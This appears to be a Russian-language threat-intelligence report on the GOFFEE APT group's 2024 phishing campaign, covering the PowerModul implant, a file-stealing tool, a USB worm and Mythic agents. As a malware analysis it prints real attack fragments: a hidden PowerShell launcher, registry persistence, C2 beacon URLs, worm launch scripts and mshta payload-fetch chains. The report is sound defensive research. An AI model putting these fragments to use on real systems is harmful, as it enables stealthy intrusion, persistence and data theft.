
APT-группа GOFFEE впервые попала в поле нашего зрения в начале 2022 года. С тех пор, согласно нашим наблюдениям, она атаковала исключительно организации в Российской Федерации, используя целевые фишинговые письма с вредоносными вложениями. С мая 2022 года по лето 2023 года группа GOFFEE применяла модифицированный зловред Owowa (вредоносный IIS-модуль) в своих атаках. С 2024 года злоумышленники начали распространять модифицированные вредоносные версии explorer.exe с помощью целевого фишинга.
Во второй половине 2024 года APT-группа GOFFEE продолжала атаковать организации в России, используя PowerTaskel — непубличный агент для Mythic на PowerShell, а также новый имплант, который мы назвали PowerModul. Целями атак стали СМИ, телекоммуникационные и строительные компании, а также государственный и энергетический сектора.
Краткое содержание отчета:
- группа GOFFEE обновила схемы распространения;
- она задействовала ранее не описанный имплант, который мы назвали PowerModul;
- злоумышленники из GOFFEE все чаще отказываются от использования PowerTaskel в пользу бинарного агента для Mythic при горизонтальном перемещении по сети.
Для получения более подробной информации обращайтесь по адресу intelreports@kaspersky.com
Техническая информация
Первичное заражение
На данный момент злоумышленники используют несколько схем заражения одновременно. В роли отправной точки обычно выступает фишинговое письмо с вредоносным вложением, но далее схемы немного расходятся. Мы рассмотрим только две схемы, актуальные на момент проведения исследования.
Первая схема заражения использует RAR-архив с исполняемым файлом, замаскированным под документ. В некоторых случаях имя файла включает двойное расширение, например .pdf.exe или .doc.exe. Когда пользователь пытается открыть такой исполняемый файл, он загружает с командного сервера и открывает документ-приманку, параллельно совершая вредоносные действия.
Исполняемый файл представляет собой системный файл Windows (explorer.exe или xpsrchvw.exe), в код которого добавлен вредоносный шелл-код. Шелл-код похож на тот, что мы видели в предыдущих атаках, однако он также содержит обфусцированный агент для Mythic, который сразу начинает взаимодействовать с командным сервером.
Во втором сценарии архив RAR содержит документ Microsoft Office с макросом, который выполняет роль дроппера.
При открытии документа его текст отображается в неразборчивом виде, и появляется предупреждающее сообщение с текстом: «Документ был создан в более ранней версии Microsoft Office Word. Для корректного отображения средствами Microsoft Office Word необходимо нажать «Включить содержимое». Нажатие на кнопку «Включить содержимое» активирует макрос, который скрывает предупреждающее изображение и восстанавливает текст с помощью стандартной операции замены символов. Кроме того, макрос создает два файла в текущей папке пользователя: HTA-файл и файл PowerShell, а затем записывает путь к HTA-файлу в значение LOAD раздела реестра HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows.
1 2 |
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows "LOAD"="C:\Users\<USER_NAME>\UserCache.ini.hta" |
Хотя сам макрос ничего не запускает и не создает новых процессов, программы, указанные в значении LOAD упомянутого раздела реестра, запускаются автоматически для текущего авторизованного пользователя.
Вредоносный HTA-файл запускает скрипт PowerShell (имплант PowerModul), но не напрямую. Вместо этого он сначала вызывает cmd.exe с перенаправлением вывода, чтобы записать на диск файл JavaScript с именем UserCacheHelper.lnk.js, а затем запускает этот JS-файл. И уже затем JavaScript запускает PowerModul:
1 |
cmd.exe /c if not exist "C:\Users\user\UserCacheHelper.lnk.js" echo var objService = GetObject("winmgmts:\\\\.\\root\\cimv2");var objStartup = objService.Get("Win32_ProcessStartup");var objConfig = objStartup.SpawnInstance_();objConfig.ShowWindow = 0;var processClass = objService.Get("Win32_Process");var command = "powershell.exe -c \"$raw= Get-Content C:\\Users\\user\\UserCache.ini;Invoke-Expression $raw\"";var result = processClass.Create(command, null, objConfig, 0); > C:\Users\user\UserCacheHelper.lnk.js |
Стоит отметить, что файлы UserCache.ini.hta и UserCacheHelper.lnk.js содержат строки с полными путями к файлам, включая имя локального пользователя, а не переменные окружения. В результате исполняемые команды и размеры файлов будут различаться в зависимости от имени текущего пользователя.
Файл UserCacheHelper.lnk.js запускает PowerShell-скрипт под названием UserCache.ini, созданный первоначальным макросом. Этот файл содержит имплант PowerModul в закодированном виде.
Имплант PowerModul
MD5 | 60A53D2C653991F086C4E6663D652CF2 |
SHA1 | 636814C31B78DD291049029A655238D7ADAFF041 |
SHA256 | BE1D0FAF1C253FAACBA1059971B01D1D646256D7B2E557DA55ED059542AFDBCD |
File type | PowerShell |
File size | 6.66 KB |
File name | UserCache.ini |
PowerModul — это скрипт PowerShell, который может получать с командного сервера дополнительные PowerShell-скрипты и выполнять их. Первые случаи применения этого импланта были зафиксированы в начале 2024 года. Изначально он отвечал за загрузку и запуск импланта PowerTaskel и считался относительно простым промежуточным компонентом для запуска этого импланта. Однако использование уникального протокола, особых типов полезной нагрузки и командного сервера, отличного от сервера PowerTaskel, позволило выделить его в отдельное семейство.
В описанной схеме код PowerModul встроен в файл UserCache.ini в виде строки, закодированной по алгоритму Base64. Начало и конец расшифрованного скрипта показаны на рисунках ниже, а средняя часть содержит копию HTA-файла, а также код, который отвечает за его сохранение на диск, запись пути к нему в реестр и скрытие путем установки соответствующего атрибута. По сути, этот код частично повторяет функциональность VBA-макроса, найденного в документе Word, за исключением скрытия файла, которого в VBA-макросе нет.
При обращении к командному серверу PowerModul добавляет к его URL-адресу строку идентификатора зараженной системы, которая включает имя компьютера, имя пользователя и серийный номер диска, разделенные символами подчеркивания:
1 |
hxxp://62.113.114[.]117/api/texts/{computer_name}_{username}_{serial_number} |
Ответ от командного сервера приходит в формате XML и содержит скрипты, закодированные по алгоритму Base64:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
HTTP/1.1 200 OK Server: nginx/1.18.0 Content-Type: text/plain Content-Length: 35373 Connection: keep-alive <Configs> <Config> <Module>ZnVuY3Rpb24gQ3JlYXRlVkJTRmlsZSgkYkJkcmxzRCwgJGlMc1FybVQsIC....==</Module> <CountRuns>250</CountRuns> <Interval>1</Interval> </Config> <Config> <Module>ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9I...</Module> |
В PowerModul есть дополнительная, ранее не описанная функция под названием OfflineWorker(). Она декодирует заданную строку и выполняет ее содержимое. На приведенных выше скриншотах декодируемая строка пуста, поэтому никакие действия не выполняются. Однако мы наблюдали случаи, когда строка содержала данные. Ниже приведен пример функции OfflineWorker(), содержащей код инструмента для кражи данных FlashFileGrabber:
1 2 3 4 5 6 7 8 9 10 11 |
function OfflineWorker() { try{ $___offlineFlash = 'ZnVuY3Rpb24gUnVuKCl7DQokaWQgPSBnZXQtcmFuZG9tDQokY29kZSA9IE…….='; if($___offlineFlash -ne ''){ $___flashOfflineDecoded = FromBase64 $___offlineFlash; Invoke-Expression($___flashOfflineDecoded); } } catch{} } |
В число полезных нагрузок, используемых имплантом PowerModul, входят инструменты PowerTaskel, FlashFileGrabber и USB Worm.
Инструмент FlashFileGrabber
Как следует из названия, FlashFileGrabber предназначен для кражи файлов со съемных носителей, таких как флеш-накопители. Мы выявили две разновидности этого инструмента: FlashFileGrabber и FlashFileGrabberOffline.
FlashFileGrabberOffline ищет на съемных носителях файлы с определенными расширениями и, обнаружив их, копирует на локальный диск. Для этого в папке TEMP создается ряд подпапок по шаблону %TEMP%\CacheStore\connect\<VolumeSerialNumber>\. Имена папок CacheStore и connect прописаны непосредственно в скрипте. Примеры таких путей приведены ниже:
1 2 3 4 5 6 7 |
%TEMP%\CacheStore\connect\62431103\2024\some.pdf %TEMP%\CacheStore\connect\62431103\Documents\some.docx %TEMP%\CacheStore\connect\62431103\attachment.jpg %TEMP%\CacheStore\connect\6c1d1372\Print\resume.docx |
Чтобы зловред не копировал одни и те же файлы несколько раз, по указанному в шаблоне пути создается файл с именем ftree.db, в котором хранятся метаданные о скопированных файлах, включая полный путь к исходному файлу, его размер и даты последнего доступа и изменения, а в папке %AppData% создается файл internal_profiles.db с MD5-хешами вышеупомянутых метаданных:
1 2 3 |
%TEMP%\CacheStore\connect\<VolumeSerialNumber>\ftree.db %AppData%\internal_profiles.db |
Список расширений файлов, интересующих злоумышленников, выглядит следующим образом:
.7z | .kml | .rar |
.conf | .log | .rtf |
.csv | .lrf | .scr |
.doc | .mdb | .thm |
.docx | .ods | .txt |
.dwg | .odt | .xlm |
.heic | .ovpn | .xls |
.hgt | .xlsm | |
.html | .png | .xlsx |
.jpeg | .pptx | .xml |
.jpg | .ps1 | .zip |
FlashFileGrabber в основном дублирует функциональность FlashFileGrabberOffline, но с одним отличием: он может отправлять файлы на командный сервер.
Червь USB Worm
USB Worm способен заражать съемные носители копией PowerModul. Для этого червь дает файлам на съемном носителе случайные имена, сохраняя их оригинальное расширение, и скрывает их. После этого файл UserCache.ini, содержащий имплант PowerModul, копируется в папку со скрытым таким образом файлом.
Кроме того, червь создает скрытые VBS- и BAT-файлы для запуска PowerModul и открытия документа-приманки.
1 2 3 4 |
Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run Chr(34) & ".\zermndzg.bat" & Chr(34), 0, False WshShell.Run Chr(34) & ".\zermndzg.docx" & Chr(34), 1, False Set WshShell = Nothing |
Пример содержимого вредоносного VBS-файла
1 |
powershell -exec bypass -windowstyle hidden -nop -c "$raw= [io.file]::ReadAllText(""".\UserCache.ini"""); iex $raw;" |
Пример содержимого вредоносного BAT-файла
Также создается ярлык с исходным именем документа-приманки, при запуске которого выполняется VBS-файл.
Чтобы замаскировать ярлык, червь присваивает ему подходящий значок из библиотеки shell32.dll в зависимости от расширения исходного файла. Червь заменяет ярлыками не более пяти документов, выбирая самые последние файлы и сортируя их по атрибуту LastAccessTime.
Имплант PowerTaskel
PowerTaskel — это непубличный агент для Mythic, написанный на PowerShell. Мы наблюдали его в кампаниях с первоначальным заражением через электронные письма с начала 2023 года. У этого импланта две основные функции: отправка информации о зараженной среде на командный сервер в виде контрольного сообщения (checkin) и выполнение произвольных скриптов и команд PowerShell, получаемых с командного сервера в виде задач в ответ на запросы get_tasking. Полезная нагрузка запроса представляет собой объекты PowerShell, сериализованные в XML, закодированные с помощью XOR с однобайтовым ключом, своим для каждого образца, а затем перекодированные по алгоритму Base64.
Судя по названиям и порядку параметров конфигурации, можно предположить, что PowerTaskel является производным от Medusa, агента с открытым исходным кодом для Mythic, изначально написанного на Python.
PowerTaskel — полнофункциональный агент, способный выполнять команды и скрипты PowerShell, что позволяет ему, например, загружать и выгружать файлы, а также запускать процессы. Однако его возможностей зачастую недостаточно в силу особенностей работы PowerShell, поэтому группа решила перейти на собственный бинарный агент для Mythic. Для этого PowerTaskel загружает бинарный агент с командного сервера, внедряет его в память своего процесса и запускает в отдельном потоке. В этом сценарии бинарный агент представлен в виде самоконфигурирующегося шелл-кода для платформ x86 и x64. Метод внедрения и загрузки шелл-кода Mythic-агента более подробно описан в разделе «Горизонтальное перемещение по сети».
Как минимум в одном случае PowerTaskel получил в качестве задачи скрипт с компонентом FolderFileGrabber. FolderFileGrabber во многом повторяет функциональность FlashFileGrabber, но с одним ключевым отличием: он может загружать файлы с удаленных систем по жестко заданному сетевому пути через протокол SMB. Для доступа к удаленным системным ресурсам используется командлет PowerShell New-SmbMapping, что позволяет успешно извлекать нужные файлы.
Горизонтальное перемещение по сети
После заражения системы, если учетная запись пользователя обладает достаточными правами, PowerTaskel выполняет несколько действий для повышения привилегий до системного уровня. Для этого PowerTaskel использует утилиту PsExec из пакета Sysinternals. PsExec сохраняется в текущем каталоге, где находится PowerTaskel, после чего запускает mshta.exe с системными привилегиями, передавая в качестве аргумента URL-адрес.
На изображениях ниже показаны две задачи, которые PowerTaskel выполняет под управлением командного сервера. Первая задача проверяет наличие файла ntuser.exe в папке %ProgramData% и, если его нет, загружает его с командного сервера. Вторая задача запускает mshta.exe через программу ntuser.exe, которая на самом деле является переименованной версией утилиты PsExec.
Ниже приведен пример схемы выполнения различных скриптов и команд, запускаемых в процессе повышения привилегий и при совершении последующих действий. Исполняемый файл 1cv9.exe — это переименованная утилита PsExec, а аргумент -s указывает, что запускаемый процесс должен работать под системной учетной записью. Запущенная программа mshta.exe принимает в качестве аргумента URL-адрес, который указывает на HTA-файл, содержащий обфусцированный вредоносный код на JavaScript. Файл HTA кэшируется и сохраняется в папке InetCache. Этот JS-код создает на диске два файла, desktop.js и user.txt, с помощью консольной команды echo с перенаправлением вывода в файл, а затем выполняет desktop.js через cscript.exe. В свою очередь, файл desktop.js запускает интерпретатор со скриптом в командной строке, который затем читает содержимое файла user.txt и выполняет его. Судя по содержимому, передаваемому команде echo, user.txt — это еще один PowerShell-скрипт, задача которого — получить полезную нагрузку с жестко заданного адреса и выполнить ее. В данном случае полезной нагрузкой является агент PowerTaskel, который в этом случае запускается с повышенными привилегиями.
После запуска PowerTaskel взаимодействует со своим командным сервером и выполняет стандартные команды для сбора информации о системе и среде. В частности, запуск csc.exe (Visual C# Command Line Compiler) указывает на то, что PowerTaskel получал задание на загрузку шелл-кода, для чего он использовал вспомогательную DLL-библиотеку. Основная функция этой DLL — копирование шелл-кода в выделенную память. В нашем случае шелл-код представляет собой самоконфигурирующийся код бинарного Mythic-агента.
Последняя строка приведенной выше схемы (hxxp://192.168.1[.]2:5985/wsman) указывает на обращение к службе WinRM (Microsoft Windows Remote Management), расположенной на удаленном хосте в локальной сети, через загруженный Mythic-агент. Для доступа к службе WinRM используется специальное значение заголовка User-Agent — Ruby WinRM Client.
Службу WinRM группа GOFFEE активно использует для горизонтального перемещения по сети. Обычно для этого злоумышленники запускают утилиту mshta.exe на удаленном хосте, передавая ей URL-адрес в качестве аргумента. Следующие примеры иллюстрируют цепочки выполнения, которые наблюдались на удаленных хостах:
1 2 |
wmiprvse.exe -secured -Embedding -> cmd.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta |
1 2 |
wsmprovhost.exe -> mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta |
1 2 |
wmiprvse.exe -secured -Embedding -> cmd.exe /Q /c powershell.exe mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta |
1 2 |
wmiprvse.exe -secured -Embedding -> powershell.exe /C mshta.exe https://<domain>.com/<word>/<word>/<word>/<word>/<word>.hta |
В последнее время мы заметили, что злоумышленники из GOFFEE все чаще отказываются от использования PowerTaskel для распространения в сети в пользу бинарного агента для Mythic.
HTA-файл с агентом для Mythic
MD5 | 615BD8D70D234F16FC791DCE2FC5BCF0 |
SHA1 | EF14D5B97E093AABE82C4A1720789A7CF1045F6D |
SHA256 | AFC7302D0BD55CFC603FDAF58F5483B0CC00D354274F379C75CFA17F6BA6F97D |
File type | Polyglot (HTML Application) |
File size | 165.32 KB |
File name | duplicate.hta |
Для запуска бинарного Mythic-агента по-прежнему используется утилита mshta.exe, которой в качестве аргумента передается URL-адрес. Однако содержимое полезной нагрузки, получаемой с этого URL-адреса, отличается от традиционного формата HTA. Она имеет относительно большой размер — около 180 КБ — и является файлом-полиглотом (polyglot), то есть может быть корректно прочитана как файл разных форматов. Шелл-код, содержащий Mythic-агент, находится в начале файла и занимает около 80% его размера. За ним идут два скрипта PowerShell, закодированных с помощью алгоритма Base64, которые разделены обычным переносом строки, и, наконец, сам файл HTA.
Когда утилита mshta.exe загружает описанную полезную нагрузку, она интерпретирует ее как HTA-файл и передает управление обфусцированному коду на JavaScript, встроенному в раздел HTA файла-полиглота. Сначала скрипт определяет, какой аргумент использовался при запуске утилиты mshta.exe: URL-адрес или путь к локальному файлу. Если в качестве аргумента был указан URL-адрес, скрипт ищет оригинальный файл HTA в папке InetCache, куда система кэшировала его во время загрузки. Для этого скрипт перебирает все файлы в папке с кэшем и проверяет их содержимое на наличие определенной магической строки.
Если на диске найден файл HTA, скрипт с помощью команды echo сохраняет два файла — settings.js и settings.ps1, а затем запускает settings.js с дополнительными аргументами командной строки. Затем скрипт устанавливает таймер на 10 секунд, по истечении которых сохраненные файлы будут удалены.
Запускаемый скрипт settings.js принимает три аргумента командной строки: путь к powershell.exe, путь к файлу HTA и строку Shell.Application. Полученные аргументы используются для формирования скрипта PowerShell, содержимое которого затем выполняется с помощью powershell.exe.
1 |
powershell.exe -c "$INbqDKHp = \"C:\\\\Users\\\\[username]\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\\\\IE\\\\duplicate````[1````].hta\";$OdfUfjp = get-content $env:USERPROFILE\\settings.ps1;$KWfWXqek=1;Invoke-Expression $OdfUfjp;$KWfWXqek=2;Invoke-Expression $OdfUfjp;$KWfWXqek=3;Invoke-Expression $OdfUfjp;" |
Скрипт, передаваемый интерпретатору PowerShell, объявляет две переменные: $INbqDKHp, которая хранит путь к файлу HTA, и счетчик $KWfWXqek. Затем скрипт считывает содержимое файла settings.ps1 и выполняет его трижды, передавая в качестве аргументов путь к файлу HTA и значение счетчика, которое каждый раз увеличивается на 1.
Во время каждого выполнения скрипт settings.ps1 считывает содержимое файла HTA, разбивает его на строки и идентифицирует скрипты в кодировке Base64. Чтобы обнаружить эти скрипты, сначала он ищет последовательность символов "<HTA:APPLICATION" , указывающую на строку с тегом приложения HTA. Три строки, предшествующие этому тегу, содержат скрипты в кодировке Base64. В зависимости от значения счетчика $KWfWXqek скрипт выполняет соответствующий скрипт в кодировке Base64.
Первые два скрипта описывают вспомогательные функции, в том числе отвечают за компиляцию дополнительной DLL-библиотеки, необходимой для выполнения шелл-кода. Третий скрипт отвечает за выделение памяти, загрузку шелл-кода из HTA-файла (путь к которому извлекается из ранее определенной переменной $INbqDKHp) и передачу управления загруженному шелл-коду, который является самоконфигурирующимся кодом Mythic-агента.
Жертвы
По данным нашей телеметрии, выявленные цели описанных вредоносных действий находятся в России, а активность наблюдалась с июля по декабрь 2024 года. Атакам подверглись различные отрасли, включая СМИ, телекоммуникационные и строительные компании, а также государственный и энергетический сектора.
Атрибуция
В этой кампании злоумышленники пользовались агентом PowerTaskel, который мы ранее связывали с группой GOFFEE. Кроме того, в цепочке заражения использовались файлы HTA и различные скрипты.
Вредоносный исполняемый файл, прикрепленный к целевому фишинговому письму, представляет собой модифицированную версию explorer.exe, схожую с той, что использовалась в атаках группы GOFFEE в начале 2024 года, и содержит шелл-код, который сильно напоминает тот, что ранее использовался GOFFEE.
Учитывая схожесть целей атак, мы с высокой степенью уверенности приписываем эту кампанию группе GOFFEE.
Выводы
Несмотря на применение инструментов и методов, сходных с использованными ранее, в этой кампании GOFFEE внесла несколько существенных изменений.
Группа впервые использовала документы Word с вредоносными VBA-скриптами для начального заражения. Кроме того, GOFFEE задействовала новый загрузчик PowerShell-скриптов — PowerModul, который отвечал за загрузку зловредов PowerTaskel, FlashFileGrabber и USB Worm. Также злоумышленники начали использовать бинарный Mythic-агент и, вероятно, разработали собственные реализации этого агента на PowerShell и C.
Хотя GOFFEE продолжает улучшать свои инструменты и внедрять новые, эти изменения не столь значительны, чтобы кампанию можно было принять за действия другой группы.
APT-группа GOFFEE продолжает атаковать организации в России